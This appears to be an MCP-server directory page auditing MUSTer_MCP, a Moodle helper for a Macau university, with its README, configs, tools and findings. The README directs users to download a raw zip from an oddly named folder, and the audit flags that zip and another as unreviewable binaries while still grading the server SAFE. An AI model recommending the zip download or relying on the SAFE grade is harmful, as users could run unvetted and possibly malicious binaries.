Atlas / MCP servers / abinethacker / MUSTer_MCP

MUSTer_MCPSAFE

mcp/abinethacker/muster-mcp

📚 Simplify LLM access to the M.U.S.T. campus system, enabling smooth interactions with schedules, assignments, and course materials.

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
7 6r · 1w · 0d
Transport
stdio
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/ABINETHACKER/MUSTer_MCP/main/receptionism/MUS-MCP-Ter-v3.9-alpha.5.zip)

📜 Description

MUSTer_MCP is an MCP server designed for the Macau University of Science and Technology. It enables seamless interaction with the M.U.S.T. campus system, allowing you to automate tasks and engage with various campus utilities with ease. This application harnesses the power of AI and web automation to enhance your campus experience.

🛠️ Features

  • AI Integration: Communicate with campus systems using natural language processing.
  • Task Automation: Automate repetitive tasks for web applications like Moodle.
  • Web Scraping: Gather information from various web resources effortlessly.
  • User-Friendly Interface: Designed to be intuitive for all users, regardless of technical background.
  • Python Based: Built using Python, using well-supported libraries such as Selenium for web interaction.

📋 System Requirements

  • Operating System: Windows 10 or later, macOS Mojave or later, or any Linux distribution that supports Python.
  • Processor: A minimum of Intel i3 or equivalent.
  • RAM: At least 4 GB of RAM is recommended.
  • Disk Space: 100 MB of free disk space.
  • Python: Ensure Python 3.6 or later is installed on your computer.

🚀 Getting Started

Follow these steps to download and run MUSTer_MCP:

  1. Visit the Releases Page: You can find the files you need by visiting the following link: Download MUSTer_MCP.
  1. Choose the Right Version: On the releases page, look for the latest version of MUSTer_MCP. It is usually marked as the latest release.
  1. Download the Application: Click on the link corresponding to you
Read from source at commit 50844a535fe8OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add muster-mcp --env MUSTER_PASSWORD=${MUSTER_PASSWORD} -- uvx muster-mcp
claude-desktop
{
  "mcpServers": {
    "muster-mcp": {
      "command": "uvx",
      "args": [
        "muster-mcp"
      ],
      "env": {
        "MUSTER_PASSWORD": "${MUSTER_PASSWORD}"
      }
    }
  }
}
03

Exposed tools (7)

6 read · 1 write · 0 destructive.

ToolRiskDescription
download_resourcereadDownload Moodle resource file(s) (PPT, PDF, etc.) from a URL. Supports saving to a custom local directory.
get_all_coursesreadGet all available courses and URLs from Moodle.
get_class_schedulewriteGet class schedule in this week; pass null for full week, or date (YYYY-MM-DD) to filter. If you need multiple days, pass null once instead of multiple calls.
get_course_contentreadGet all assignments/resources for a course by exact name (call get_all_courses first).
get_current_timereadGet current local datetime as YYYY-MM-DD HH:MM:SS.
get_pending_eventsreadGet upcoming events and deadlines from Moodle calendar.
open_URL_with_authorizationreadOpen a URL in a new authorized browser window after Moodle login (show to user).
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (1 observation(s))
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (2)

MEDIUMInventory / provenance · inv.binary · CWE-1104
receptionism/MUS-MCP-Ter-v3.9-alpha.5.zip
MUS-MCP-Ter-v3.9-alpha.5.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
INFOInventory / provenance · inv.oversize · CWE-1104
receptionism/MUSTer_MCP_v2.0.zip
receptionism/MUSTer_MCP_v2.0.zip
Why it matters. 1394413 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 50844a535fe8full audit observations/trust-audit/mcp-server/abinethacker__muster_mcp.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1150844a535fe8SAFEB89first audit
06

Questions

What is the MUSTer_MCP MCP server?

📚 Simplify LLM access to the M.U.S.T. campus system, enabling smooth interactions with schedules, assignments, and course materials.

What tools does MUSTer_MCP expose?

7 in total: 6 read-only, 1 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is MUSTer_MCP safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does MUSTer_MCP need?

It reads MUSTER_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does MUSTer_MCP run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as muster-mcp.

How current is this page?

The grade is for one exact copy of the source (50844a535fe8), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement